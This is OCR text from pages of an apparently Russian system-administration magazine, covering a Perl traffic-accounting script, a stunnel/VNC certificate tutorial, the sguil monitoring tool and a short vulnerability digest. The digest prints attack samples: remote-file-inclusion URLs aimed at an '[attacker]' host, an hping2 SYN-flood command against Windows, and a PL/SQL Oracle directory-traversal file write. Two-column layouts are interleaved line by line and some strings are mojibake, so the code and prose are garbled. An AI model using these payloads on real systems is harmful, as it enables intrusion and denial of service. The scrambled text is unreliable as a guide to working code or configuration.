ного файла, куда по умолчанию будет записываться вся $ipacct_log\.$interface" or die "Îøèáêà ïåðåäà÷è ↵
статистика (с интерфейсами, временем и т. д.). çàïèñåé èç checkpoint-áàçû â ôàéë!\n";
exit;
Что ж, читаем дальше конфигурационный файл. Он ос- }
тается без изменений, так что приводить его не буду. }
else {
Проверяем время на машине. Именно это время и бу- print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵ ↵
дет записываться в базу: \n.................\n";
↵
die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵
\n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n";
# Ïðîâåðÿåì âðåìÿ. }
$gm = localtime(); do {
$year = ($gm->year()) + 1900; $kid = waitpid $pid,0;
$mounth = ($gm->mon()) + 1; if ($kid == -1) {
$mday = $gm->mday(); print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵
$date = "$mday-$mounth-$year"; èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵
$hour = $gm->hour(); and die "Âûõîä!\n";
$min = $gm->min(); } elsif ($kid == 0) {
$sec = $gm->sec(); print "Çàäàí íå áëîêèðóþùèé ↵
$hour=sprintf("%02d",$hour); âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n";
$min=sprintf("%02d",$min); }
$sec=sprintf("%02d",$sec); } until $kid=$pid;
$time = "$hour\:$min\:$sec";
$table_date = "$year\_$mounth"; undef $pid;
54
администрирование
chomp $tmp_log_line; my $tables;
$tmp_log_line = "$tmp_log_line $date ↵ while (@row = $sth->fetchrow_array) {
$time $listen_host $interface"; foreach $tables (@row){
push @ipacct_arr,$tmp_log_line; push @dbtables, $tables;
} }
close (TMPLOG); }
truncate ($TMPLOG,0);
Самое интересное во всем этом – оператор foreach, ко-
undef $pid; торый присваивает переменной $table значения массива
} @row. Значения этой переменной заносятся в @tables.
open (IPCTLOG,">>$ipacct_log");
while (@ipacct_arr){ $crt_tbl="yes";
while (@dbtables) {
$line_arr = shift @ipacct_arr; $table = shift @dbtables;
$line_arr = "$line_arr\n"; if (defined $table) {
print IPCTLOG $line_arr; if ($table eq $table_date) {
$crt_tbl="no";
} }
close(IPCTLOG); }
}
&parse_log_file;
&check_in_mysql;
&insert_data_db; В данном блоке устанавливается значение переменной
} $crt_tbl в yes, чтобы в случае необходимости создать таб-
Как видно из кода, присутствует вызов трех подпрог- лицу, определенную в переменной $table_date. Последую-
рамм. Выполняемые ими функции интуитивно понятны из щие действия как раз и описывают этап сравнения элемен-
названия (&parse_log_file; &check_in_mysql; &insert_data_db;). тов массива с переменной. Если таблица с таким именем
Рассмотрим их поочередно. присутствует, то $crt_tbl принимает значение no.
56
bugtraq
http://[target]/[dir]/include/init.inc.php? ↵
G_PATH=http://[attacker]/
http://[target]/[dir]/backend/addons/links/inde x.php? ↵ Раскрытие информации
PATH=http://[attacker]/
в Oracle Database Server
URL производителя: http://phpweblog.org. Программа: Oracle Database Server 8i, 9i.
Решение: Способов устранения уязвимости не существу- Опасность: Низкая.
ет в настоящее время. Описание: Уязвимость существует в пакете UTL_FILE из-за
некорректной обработки входных данных в некоторых функ-
циях. Удаленный авторизованный пользователь может из-
LAND-атака в Microsoft Windows менить значение некоторых объектов функции MEDIA_DIR
Программа: Microsoft Windows XP, Microsoft Windows 2003. на символы обхода каталога и получить доступ на чтение и
Опасность: Высокая. запись к произвольным файлам на системе. Пример:
Описание: Уязвимость существует при обработке SYN-па- declare
кетов. Удаленный пользователь может послать большое ко- f utl_file.file_type;
begin
личество SYN-пакетов на открытый порт системы и выз- f:=UTL_FILE.FOPEN
вать 100% загрузку процессора. Пример: ('MEDIA_DIR','\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\Unbreakable.txt','w',1000);
UTL_FILE.PUT_LINE (f,'Sure',TRUE);
hping2 192.168.0.1 -s 135 -p 135 -S -a 192.168.0.1 UTL_FILE.FCLOSE(f);
end;
URL производителя: http://www.microsoft.com. URL производителя: http://www.oracle.com.
Решение: Способов устранения уязвимости не существу- Решение: Установите исправление от производителя.
ет в настоящее время. В качестве временного решения ре-
комендуется использовать межсетевой экран. Составил Александр Антипов
АНДРЕЙ БЕШКОВ
Сегодня мы займемся изучением тонкостей работы меха- пришлось бы возиться с каким-либо эмулятором. Решив не
низма аутентификации stunnel с помощью SSL-сертифика- плодить сущностей без надобности, я воспользовался пос-
тов. Плюс заодно разберемся, для чего может пригодиться ледним вариантом в виде VNC, так как бесплатен и суще-
Windows-версия этой программы. ствует для всех указанных платформ. Реализаций прото-
Представим, что у нас есть сервер, на котором работа- кола VNC на свете довольно много. Наиболее известны из
ет Windows 2000 Advanced Server. Хотелось бы уметь уда- них RealVNC, TightVNC, t-VNC и еще несколько клонов. Не-
ленно управлять сервером с двух UNIX-машин. В качестве которые, как TightVNC и t-VNC, направлены на минимиза-
таковых выступают рабочая станция на основе FreeBSD 5.3 цию сетевого трафика, другие же, такие как RealVNC, – на
и ноутбук c ALT Linux Master 2.4. Соответственно, машины использование шифрования. К сожалению, под Windows
имеют имена win2000.unreal.net, altlinux.unreal.net, freebsd53. RealVNC не бесплатна, поэтому пришлось использовать
unreal.net и адреса 10.10.21.46, 10.10.21.29, 10.10.21.30. стандартную свободную реализацию TightVNC без шифро-
Для решения поставленной задачи можно использовать вания. Для защиты передаваемых данных, как вы уже, на-
несколько программ. К примеру, Citrix ICA Client, Radmin, верно, догадались, будет использоваться stunnel.
Rdesktop, VNC. Устанавливать и настраивать на сервере Займемся установкой нужных пакетов на Windows-сер-
Citrix или Terminal Server ради одного человека смысла нет. вер. Скачиваем с сайта TightVNC: http://tightvnc.com свежий
Radmin для UNIX в природе не существует, значит, опять релиз программы. На момент написания статьи была акту-
58
безопасность
альна версия 1.2.9. Инсталляция достаточно тривиальна:
большую часть времени можно просто нажимать кнопку
«Далее». Затем нужно убедиться, что был выбран следую-
щий набор компонентов.
1
1. Бешков А. Защита сетевых сервисов с помощью stunnel. – журнал «Системный администратор», №12, декабрь 2004 г.
2. Бешков А. Защита сетевых сервисов с помощью stunnel. Часть 2. – журнал «Системный администратор», №1, январь 2005 г.
# openssl req –nodes –new –days 365 –newkey rsa:1024 ↵ cert = C:\stunnel\certs\win2000cert.pem
–x509 –keyout win2000key.pem –out win2000cert.pem key = C:\stunnel\certs\win2000key.pem
# openssl req –nodes –new –days 365 –newkey rsa:1024 ↵ CAFile = C:\stunnel\certs\trusted.pem
–x509 –keyout altlinuxkey.pem –out altlinuxcert.pem CRLfile = C:\stunnel\certs\crl.pem
# openssl req –nodes –new –days 365 –newkey rsa:1024 ↵
–x509 –keyout freebsdkey.pem –out freebsdcert.pem debug = 7
output = C:\stunnel\stunnel.log
Большинство полей в сертификате совпадают с нашими verify = 3
значениями по умолчанию, во время генерации сертифика-
[vnc]
тов нам просто нужно нажимать «Enter». Единственное, что accept = 10.10.21.46:5800
нужно менять, – это поле CN (Common name). Заполнять connect = 127.0.0.1:5800
его нужно в соответствии с полным доменным именем ком-
пьютера, для которого предназначается сертификат. Конфигурация второго экземпляра stunnel, хранящаяся
Таким образом, мы создали пару сертификат-ключ для в vnc_server1.cnf, соответственно такова:
всех наших машин. Теперь ключ лежит в файле с суффик-
сом key, а сертификат соответственно в файле с суффик- [vnc-https]
cert = C:\stunnel\certs\win2000cert.pem
сом cert. В ALT Linux все вышеприведенные команды будут key = C:\stunnel\certs\win2000key.pem
иметь тот же эффект. Хотя для этой системы есть и другой
debug = 7
способ. Чтобы изучить его, переходим в /var/lib/ssl/certs/ и output = C:\stunnel\stunnel.log
выполняем команды:
accept = 10.10.21.46:5900
connect = 127.0.0.1:5900
# make win2000.pem
# make altlinux.pem
# make freebsd.pem Теперь посмотрим, на что похожа конфигурация для
FreeBSD.
Это способ не столь удобен, как предыдущий, и требует
больше ручного труда. Дело в том, что теперь ключ и сер- cert = /usr/local/etc/stunnel/certs/freebsdcert.pem
key = /usr/local/etc/stunnel/certs/freebsdkey.pem
тификат каждой машины лежат вместе в одном файле. Сле- CAFile = /usr/local/etc/stunnel/certs/trusted.pem
довательно, придется вручную разносить их по отдельным CRLfile = /usr/local/etc/stunnel/certs/crl.pem
файлам.
Для того чтобы системы, соединенные с помощью chroot = /var/tmp/stunnel/
stunnel, могли провести аутентификацию, они должны до- pid = /stunnel.pid
верять публичным сертификатам друг друга. Соответствен- setuid = stunnel
setgid = stunnel
но клиенты должны доверять сертификату сервера и на-
оборот. Давайте изготовим файл с доверенными сертифи- debug = 7
output = /var/log/stunnel.log
катами для машины win2000. Для этого объединяем серти-
фикаты altlinuxcert.pem и freebsdcert.pem в файл trusted.pem. client = yes
verify = 3
# cat altlinuxcert.pem freebsdcert.pem > trusted.pem
60
безопасность
[vnc] C:\stunnel\certs\trusted.pem
accept = 127.0.0.1:5800 2005.02.28 19:10:33 LOG5[776:1108]: WIN32 platform:
connect = 10.10.21.46:5800 30000 clients allowed
2005.02.28 19:10:33 LOG7[776:1108]: FD 156 in non-blocking mode
Конфигурационный файл для ALT Linux выглядит так: 2005.02.28 19:10:33 LOG7[776:1108]: SO_REUSEADDR option set on
accept socket
2005.02.28 19:10:33 LOG7[776:1108]: vnc bound to 10.10.21.46:5800
cert = /usr/local/etc/stunnel/certs/altlinuxcert.pem 2005.02.28 19:10:33 LOG7[776:1108]: vnc-https bound to 10.10.21.46:5900
key = /usr/local/etc/stunnel/certs/altlinuxkey.pem 2005.02.28 19:10:33 LOG7[776:1108]: FD 189 in non-blocking mode
CAFile = /usr/local/etc/stunnel/certs/trusted.pem 2005.02.28 19:10:33 LOG7[776:1108]: SO_REUSEADDR option set on
CRLfile = /usr/local/etc/stunnel/certs/crl.pem accept socket
2005.02.28 19:10:33 LOG7[776:1108]: vnc-https bound to 10.10.21.46:5900
chroot = /var/tmp/stunnel/
Ну а для Linux записи в файле протокола должны выг-
pid = /stunnel.pid
setuid = stunnel лядеть примерно так:
setgid = stunnel
2005.02.28 10:26:08 LOG5[10323:16384]: stunnel 4.05 on
debug = 7 i686-pc-linux-gnu PTHREAD with OpenSSL 0.9.7d 17 Mar 2004
output = /var/log/stunnel.log 2005.02.28 10:26:08 LOG7[10323:16384]: Snagged 64 random bytes from
/root/.rnd
client = yes 2005.02.28 10:26:08 LOG7[10323:16384]: Wrote 1024 new random bytes
to /root/.rnd
verify = 3 2005.02.28 10:26:08 LOG7[10323:16384]: RAND_status claims sufficient
entropy for the PRNG
[vnc]
2005.02.28 10:26:08 LOG6[10323:16384]: PRNG seeded successfully
accept = 127.0.0.1:5800
connect = 10.10.21.46:5800 2005.02.28 10:26:08 LOG7[10323:16384]: Certificate:
/usr/local/etc/stunnel/certs/altlinuxcert.pem
2005.02.28 10:26:08 LOG7[10323:16384]: Key file:
На этом можно остановиться. Перед запуском стоит /usr/local/etc/stunnel/certs/altlinuxkey.pem
2005.02.28 10:26:08 LOG7[10323:16384]: Loaded verify certificates from
обсудить особенности конфигурационных файлов, с кото- /usr/local/etc/stunnel/certs/trusted.pem
рыми мы еще не сталкивались. CAFile – указывает, в ка- 2005.02.28 10:26:08 LOG5[10323:16384]: FD_SETSIZE=1024,
ком файле хранятся доверенные сертификаты. CRLfile – file ulimit=1024 -> 500 clients allowed
2005.02.28 10:26:08 LOG7[10323:16384]: FD 6 in non-blocking mode
описывает имя файла, где должны находиться отозванные 2005.02.28 10:26:08 LOG7[10323:16384]: SO_REUSEADDR option set on
сертификаты. Такая возможность полезна, к примеру, если accept socket
2005.02.28 10:26:08 LOG7[10323:16384]: vnc bound to 10.10.21.75:3307
сертификат клиента каким-либо образом попал к злоумыш-
леннику, и теперь нам нужно заблокировать его. И, нако- Думаю, всем понятно, что в протоколах системы FreeBSD
нец, самая важная опция – verify. Она определяет, каким будет написано примерно то же, что хранится в протоколах
образом при начале соединения будут проверяться серти- системы Linux. Особое внимание стоит обратить на сооб-
фикаты клиента и сервера. Значением переменной долж- щения о считывании файлов сертификатов.
но быть число от 0 до 3. Давайте посмотрим, что значит Теперь нужно попробовать присоединиться к серверу
каждое из них. Windows с любой из клиентских машин с помощью програм-
! 0 – наличие и подлинность сертификатов не проверяет- мы vncviewer.
ся. Это значение по умолчанию, оно также эквивалент- Все должно пройти как по маслу. А в файлах протоко-
но слову «no». лов соответственно появится что-то вроде:
! 1 – подлинность сертификата проверяется только при
2005.02.26 21:48:00 LOG7[7492:16384]: vnc accepted FD=11 from
наличии такового. В случае если сертификат не прохо- 10.10.21.29:51902
дит проверку, то соединение будет разорвано. В то же 2005.02.26 21:48:00 LOG7[7492:16384]: FD 11 in non-blocking mode
2005.02.26 21:48:00 LOG7[8003:32770]: vnc started
время при отсутствии сертификата соединение будет 2005.02.26 21:48:00 LOG5[8003:32770]: vnc connected from
10.10.21.29:51902
разрешено. 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
! 2 – проверяется наличие и подлинность сертификата. before/accept initialization
2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: FD=11, DIR=read
Если сертификат отсутствует или в результате провер- 2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: ok
ки считается фальшивым, соединение разрывается. 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
SSLv3 read client hello A
! 3 – для создания соединения требуется обязательное 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
SSLv3 write server hello A
наличие сертификата и его присутствие в списке дове- 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
ренных. SSLv3 write certificate A
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
SSLv3 write certificate request A
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
Итак, разобравшись с опциями, запускаем stunnel на всех SSLv3 flush data
машинах и смотрим, что появляется в файлах stunnel.log под 2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: FD=11, DIR=read
2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: ok
Windows. 2005.02.26 21:48:00 LOG5[8003:32770]: VERIFY OK: depth=0,
/C=RU/ST=Rostov region/O=Tigrisha Home/OU=Test Lab/CN=win2000.unreal.net
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
2005.02.28 19:10:33 LOG5[776:724]: stunnel 4.05 on x86-pc-mingw32-gnu
SSLv3 read client certificate A
WIN32 with OpenSSL 0.9.7e 25 Oct 2004 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
2005.02.28 19:10:33 LOG7[776:1108]: RAND_status claims sufficient SSLv3 read client key exchange A
entropy for the PRNG 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
2005.02.28 19:10:33 LOG6[776:1108]: PRNG seeded successfully SSLv3 read certificate verify A
2005.02.28 19:10:33 LOG7[776:1108]: Certificate: 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
C:\stunnel\certs\win2000cert.pem SSLv3 read finished A
2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
2005.02.28 19:10:33 LOG7[776:1108]: Key file:
SSLv3 write change cipher spec A
C:\stunnel\certs\win2000key.pem 2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):
2005.02.28 19:10:33 LOG7[776:1108]: Loaded verify certificates from SSLv3 write finished A
62
безопасность
После всех этих мытарств сертификат клиента находит- Для Windows:
ся в файле newcert.pem. Повторяем эти шаги для осталь- CRLpath = C:\stunnel\certs\crl\
ных клиентов. При этом не стоит забывать, что в файлы CApath = C:\stunnel\certs\trusted\
newcert.pem и newreq.pem перезаписываются при каждом
запуске CA.pl c ключами -sign и -newreq, отсюда следует, Если опираться в своих действиях на официальную до-
что после завершения цикла генерации ключа и сертифи- кументацию к stunnel, то, сложив все доверенные сертифи-
ката лучше переименовывать эти файлы так, чтобы своим каты в папку trusted, можно было бы попытаться запустить
именем они отражали принадлежность тому или иному кли- демонов на сервере и клиентах и радоваться полученному
енту. К примеру, для клиента altlinux.unreal.net файлы дол- результату. Но не тут то было – запуск пройдет гладко, а вот
жны называться altlinuxcert.pem и altlinuxkey.pem. аутентификация функционировать не будет. По крайней
Еще одно обстоятельство, о котором стоит помнить, – мере, у меня таким способом вообще ничего не заработало.
из файла newreq.pem после заверения сертификата лучше Все дело в том, что для совместимости со специфическими
всего удалять запрос на сертификацию. Он начинается стро- особенностями stunnel имена файлов доверенных сертифи-
кой -------BEGIN CERTIFICATE REQUEST--------- и заканчи- катов должны быть в особом формате. А точнее имя файла
вается, соответственно ----END CERTIFICATE REQUEST----- должно соответствовать хэшу, вычисленному по содержи-
Если этого не сделать, то некоторые версии stunnel завер- мому сертификата. Чтобы узнать хэш того или иного файла
шаются с ошибкой при попытке работы с таким файлом. под ALT Linux, нужно выполнить следующую команду:
Итак, мы создали все необходимые сертификаты и по-
местили их в trusted.pem. Конечно, не стоит забывать, что # /var/lib/ssl/misc/c_hash / ↵
/usr/local/etc/stunnel/certs/trusted/*.pem
файл trusted.pem должен быть разным для клиентов и сер-
вера. В остальном этот способ полностью совпадает с тем, b71698b3.0 => /usr/local/etc/stunnel/certs/trusted/win2000cert.pem
что мы протестировали выше.
Вручную добавлять сертификаты в trusted.pem доволь- Таким образом, становится понятно, что файл сертифи-
но просто, а вот удалять их потом оттуда в случае, если ката win2000cert.pem нужно переименовать в b71698b3.0.
хочется отказать какому-либо клиенту в доступе, несколь- После того как вы проведете подобные действия на осталь-
ко неудобно. В системах с малым количеством клиентов ных машинах, можно запускать stunnel. Стоит отметить, что
это еще терпимо, а в большом вычислительном комплексе во FreeBSD утилита c_hash будет находиться в директории
с несколькими сотнями сертификатов это может превра- /usr/local/openssl/misc. Также необходимо обратить внима-
титься в головную боль. ние на тот факт, что для Windows в стандартной поставке
Поэтому давайте рассмотрим другой способ управле- openssl программа c_hash отсутствует. Поэтому хэши клю-
ния сертификатами. В этом случае мы будем помещать чей нужно будет вычислять на Linux или FreeBSD. Един-
каждый сертификат в отдельный файл. Затем доверенные ственное различие будет в том, что в файл протокола при
сертификаты кладем в директорию trusted, а отозванные – старте записываются следующие сообщения, касающиеся
в папку crl. На клиентах и сервере создаем обе папки внут- доверенных сертификатов.
ри директории certs. Затем вносим следующие изменения
2005.03.14 11:19:03 LOG7[7068:16384]: Verify directory set to
в конфигурационные файлы. Вместо строк CAFile и CRLfile /usr/local/etc/stunnel/certs/trusted/
вписываем следующее: 2005.03.14 11:19:03 LOG5[7068:16384]: Peer certificate location
/usr/local/etc/stunnel/certs/trusted/
Для ALT Linux:
В остальном работа системы будет выглядеть точно так
CRLpath = /usr/local/etc/stunnel/certs/trusted/ же, как если бы доверенные сертификаты хранились в од-
CApath = /usr/local/etc/stunnel/certs/crl/
ном файле. Думаю, на этом можно считать тему аутенти-
Для FreeBSD вносим те же изменения, что и для ALT фикации клиентов stunnel с помощью сертификатов исчер-
Linux. панной. А значит, подошла к концу и эта серия статей.
СЕРГЕЙ ЯРЕМЧУК
Интересно сегодня наблюдать за процессом развития имеющиеся в операционных системах, сервисах и прото-
средств сетевой безопасности. Сначала считалось, что для колах не имеют ничего общего с возможными угрозами.
ее обеспечения на достаточном уровне необходимо исполь- На страницах журнала [5] уже рассказывалось о работе
зовать межсетевой экран, который при правильной настройке системы обнаружения атак SHADOW – Secondary Heuristic
позволяет отсеивать проблемный трафик. Затем стало ясно, Analysis for Defensive Online Warfare (http://www.nswc.navy.mil/
что межсетевой экран способен обеспечить только минималь- ISSEC/CID), основное отличие которой от традиционных
ный уровень защиты и в 1980 г. с публикации Джона Андер- СОА, вроде Snort, состоит в отказе от наблюдения за конк-
сона (John Anderson) «Computer Security Threat Monitoring ретными уязвимостями и использовании статистического
and Surveillance» началось развитие систем обнаружения анализа потоков информации.
атак, хотя к их активному использованию пришли чуть поз- Другой проект – sguil пробует решить задачу обнаруже-
же – где-то в первой половине 90-х. Долгое время счита- ния атак по-своему.
лось, что системы обнаружения атак также являются иде-
альным помощником администратора, но вскоре стали за- Проект sguil
метны их недостатки. Методология, на которой построен sguil, называется Network
В первую очередь, это очень большое количество лож- Security Monitoring – NSM. Ее главный акцент сосредоточен
ных предупреждений, так как таким системам недостает на сборе как можно большего количества данных, упроще-
контекста, и поэтому они не могут отслеживать связи меж- нии доступа к ним и дальнейшего всестороннего анализа.
ду событиями. Учитывая, что опытные хакеры очень непред- В общем же назначение sguil состоит в интеграции различ-
сказуемы в своих действиях, выявить настоящее и хорошо ных инструментов, предназначенных для защиты сети. Для
подготовленное вторжение при помощи СОА довольно про- этого она связывает предупреждения СОА с базой данных
блематично, а собранная такой системой информация бы- TCP/IP-сеансов, полным содержимым пакетов и другой по-
вает малополезной при последующем анализе инцидента. лезной информацией. После обнаружения атаки sguil обес-
Впрочем, надо отметить, это не помешало появлению та- печивает исследователя полными данными, необходимыми
кого класса программ, как системы остановки атак. Здесь для изучения проблемы, позволяя оценить ситуацию и при-
поступили просто, решив, что если атаку можно обнару- нять правильное решение. При обнаружении события ему
жить, то почему бы вместо простого оповещения не пре- может быть присвоена одна из семи категорий (таблица 1).
кратить ее. Фактически эти системы унаследовали недо- В противном случае оно помечается как не требующее даль-
статки СОА, но только теперь администратор, вместо того нейшего внимания, и такие события больше не выводятся
чтобы разбираться в большом количестве предупреждений, на консоль, но все равно сохраняются в базе данных. Вся
возможно, будет выслушивать жалобы от пользователей, записанная информация может быть легко добыта и про-
которые по неизвестным причинам не могут попасть в сеть. анализирована при помощи предварительно подготовлен-
Вот и получается, что стопроцентно принять решение о ных SQL-запросов. Естественно, при необходимости такие
степени опасности того или иного события может только ад- запросы можно составлять и самому, сохраняя их затем для
министратор, самостоятельно проанализировавший ситуа- повторного использования.
цию. А для решения этих задач СОА не совсем подходят, События, имеющие один и тот же IP-адрес, сигнатуру и
так как они собирают максимальную информацию только о сообщение, могут быть сопоставлены между собой. Для
подозрительных пакетах, остальные же данные, как прави- удобства реализован и импорт отчетов, составленных ска-
ло, игнорируются и будут потеряны для исследователя. А нером безопасности Nessus.
простая логика подсказывает, что известные уязвимости, Система анализа информации, построенная на sguil, со-
64
безопасность
стоит из одного сервера и произвольного числа сетевых дат-
чиков. Датчики собирают информацию и передают ее на сер-
вер, который, в свою очередь, координирует полученные дан-
ные, сохраняет их в базе и отдает по требованию клиентам.
В качестве датчиков на момент написания статьи использо-
вались:
! Snort (http://www.snort.org), собирающий информацию не
только о событиях защиты, но и TCP/IP-сеансах и ис-
пользуемых портах. Отдельный сенсор захватывает все
данные, проходящие по сети.
! Barnyard (http://www.sourceforge.net/projects/barnyard) –
собирает данные из файлов журнала Snort и заносит их
в реальном времени в базу данных.
! SANCP – Security Analyst Network Connection Profiler
(http://www.metre.net/files/sancp-1.6.1.tar.gz) – собирает, Установка sguil
записывает и анализирует статистическую информацию На момент написания статьи актуальной была версия 0.5.3.
по TCP/IP-сеансам. Такой номер версии, как обычно в мире Open Source, не
означает недоработанность утилиты. Сама установка и на-
Дополнительно могут загружаться и расшифровывать- стройка при внимательном подходе происходит, как пра-
ся данные от сниффера Ethereal, если он установлен в сис- вило, без особых проблем. В качестве операционной сис-
теме. Для доступа к информации, собранной сервером ис- темы может быть использована любая из UNIX-систем, но
пользуются GUI-клиенты, написанные на Tcl/Tk, роль кото- использование мультиплатформенных компонентов позво-
рых не менее важна, чем сервера и датчиков, т.к. именно с ляет установить sguil на Mac OS X или Windows. На сайте
их помощью производится основной отбор данных в реаль- проекта http://sguil.sourceforge.net продукт доступен как че-
ном времени и последующий их анализ. При необходимос- рез cvs, так и в виде архива с исходными текстами. Его так-
ти могут создаваться отчеты в виде текстового файла или же можно получить на сайте проекта Snort, при этом для
сообщений электронной почты. удобства установки все части системы, т.е. sensor, server и
Òàáëèöà 1. Êàòåãîðèè ñîáûòèé, êîíòðîëèðóåìûå sguil client на некоторых сайтах могут находиться в разных архи-
вах. Если хорошо поискать, то можно найти и прекомпили-
рованые пакеты. Например, на сайте BOSECO Internet
Security Solutions (http://www.boseco.com), кроме rpm-паке-
тов доступен и базирующийся на Fedora Core дистрибутив
IDSLite, имеющий уже подготовленный к работе sguil. В ftp-
архиве http://www.spenneberg.org/IDS, кроме rpm-пакетов со
sguil, имеются и приложения, необходимые для удовлетво-
рения зависимостей. Наиболее общей является установка
исходных текстов, поэтому в статье будет показан этот ва-
риант. Итак, для настройки различных компонентов нам
понадобятся:
! База данных – сервер MySQL (http://www.mysql.com).
! Сервер Sguild:
! библиотека MySQL client
! Tcl (http://www.tcl.tk)
! Tcltls (http://www.sensus.org/tcl/tls.htm)
! Tcllib (http://tcllib.sourceforge.net)
! TclX (http://tclx.sourceforge.net)
! MySQLTcl (http://www.xdobry.de/mysqltcl)
! P0f (http://lcamtuf.coredump.cx/p0f.shtml)
! Tcpflow (http://www.circlemud.org/~jelson/software/
tcpflow)
! sguil-server
! Датчик sguil:
Естественно, первое, что приходит в голову после зна- ! библиотека MySQL client
комства с sguil, это «еще один интерфейс к IDS Snort». Это ! PCRE (http://www.pcre.org)
не совсем так. Главное отличие sguil от других проектов, ! Snort
задачей которых является выдача информации собранной ! Barnyard (http://www.sourceforge.net/projects/barnyard)
Snort, состоит в выводе данных в реальном времени и воз- ! Tcl
можности проводить необходимые исследования, позволя- ! SANCP (http://www.metre.net/sancp.html)
ющие изучить конкретное событие. ! sguil-sensor
Плюс опционально всеми компонентами поддержива- Далее нужную для работы базу данных можно создать
ется OpenSSL, хотя как вариант можно использовать и вручную, в документации подробно описан этот процесс.
stunnel. Перед установкой ознакомьтесь с составом паке- Но сервер sguild при первом своем запуске при отсутствии
тов, входящих в ваш дистрибутив, скорее всего, большая необходимой базы данных сам попробует ее создать.
часть из необходимого уже имеется. Все компоненты сис- После всего команда:
темы можно установить как на одном компьютере, так и
развернуть систему наблюдения за сетью на нескольких # mysql -u root -p -e "show tables"
машинах.
должна дать следующий вывод.
+-------------------+
| Tables_in_sguildb |
+-------------------+
| data |
| event |
| history |
| icmphdr |
| portscan |
| sensor |
| sessions |
| status |
| tcphdr |
| udphdr |
| user_info |
| version |
+-------------------+
66
безопасность
ERROR: The sha1 package does NOT appear to be installed on this system. необходимых компонентов он будет работать без проблем.
The sha1 package is part of the tcllib extension. A port/package is available
for most linux and BSD systems. В Windows его можно запустить при помощи библиотеки
SGUILD: Exiting... ActiveState (http://www.activestate.com/Products/ActiveTcl), в
Опять. На этот раз нет sha1, являющегося частью биб- документе «Getting SGUIL to work with Windows» подробно
лиотеки tcllib. описан этот процесс. Во время своей работы скрипт считы-
вает файл sguil.conf, который по умолчанию должен лежать
# ./sguild -adduser sguil либо в домашнем каталоге пользователя, либо в каталоге,
Please enter a passwd for sguil: в котором находится скрипт. Иначе требуется указать его
Retype passwd: местонахождение явно.
User 'sguil' added successfully
SGUILD: Exiting...
# ./sguil.tk -- -c /etc/sguil/sguil.conf
Теперь все нормально, а в файле /etc/sguild/sguild.users
должна появиться следующая запись. Параметры, которые можно задать при помощи этого
файла, понятны и где необходимо снабжены комментария-
# cat /etc/sguild/sguild.users ми. Некоторые из них можно изменить и после запуска. Сре-
sguil(.)(.)MU47f7efd575à04e2da381e2781b8f95bef4a0083c
ди них имя сервера и порт, включение поддержки OpenSSL,
По умолчанию файл /etc/sguild/sguild.access позволяет путь к программам, вывод времени, цвет, используемый при
подсоединяться к серверу любому клиенту и датчику. Для отображении тех или иных событий, почтовый адрес и со-
безопасности желательно указать конкретные адреса. общение, которое будет отослано при обнаружении крити-
Например: ческих происшествий. Для тестирования можно подклю-
читься к серверу demo.sguil.net порт 7734, введя любого
sensor 192.168.0.20 пользователя и пароль, и выбрав датчик «reset».
client 127.0.0.1
68
безопасность
Для автоматического запуска sensor_agent.tcl при стар- более подробная информация о предупреждении. При по-
те системы используйте скрипт init/sensoragent. мощи меню Query можно создавать запросы для отбора
Все. Теперь можно подключаться к серверу при помощи определенной информации, которые будут сохранены в
клиента sguil.tk и приступать к анализу собранной информа- файле /etc/sguil/sguild.queries. Для удобства предлагаются
ции. Как видно из рисунка, окно клиента sguil по умолчанию мастера и уже подготовленные запросы. Пункт Reports по-
состоит из двух вкладок RealTime Events и Escalated Events, зволяет генерировать отчеты.
в которых в реальном времени выводится информация, со- Sguil является довольно серьезным орудием в руках спе-
бранная snort. Верхняя половина также разделена на три циалиста, которого беспокоит безопасность сетей. Но, как
части, в которых выводятся события по степеням важности, любой другой инструмент, он требует приобретения практи-
более серьезные в верхнем окне, менее серьезные в ниж- ческих навыков работы. Освоив основные приемы, можно
нем. Если это неудобно, то можно изменить количество па- быстро находить и локализовать проблемные участки.
нелей при помощи переменных RTPANES, RTPANE_
PRIORITY и RTCOLOR_PRIORITY в файле sguil.conf. Допол- Ссылки:
нительно можно отобрать все события, подпадающие под 1. Домашняя страница проекта sguil – http://sguil.source-
определенную категорию, в отдельную вкладку, восполь- forge.net.
зовавшись пунктом меню File. При этом если на скрытой 2. Richard Bejtlich «What Is Network Security Monitoring?»:
вкладке появится событие, заслуживающее внимания, то http://www.awprofessional.com/title/0321246772.
заголовок изменит свой цвет. Параметр ST показывает на 3. Richard Bejtlich «Why Sguil Is the Best Option for Network
статус предупреждения (RT – real time), CNT представляет Security Monitoring Data»: http://www.informit.com/articles/
собой счетчик событий со сходными характеристиками. article.asp?p=350390&seqNum=1.
Нижняя половина также разделена на две части. Слева вы- 4. Michael Boman «Network Security Analysis with SGUIL»:
водится информация, собранная при помощи обратного http://www.boseco.com/presentations/sguil-2004-1/img0.html.
DNS-запроса и сервиса whois, внизу можно просмотреть, в 5. Яремчук С. Тени исчезают в полдень. – журнал «Сис-
зависимости от выбранной вкладки, системные и пользо- темный администратор», №12, 2004 г.
вательские сообщения. Последние представляют собой про- 6. Закляков П. Обнаружение телекоммуникационных атак:
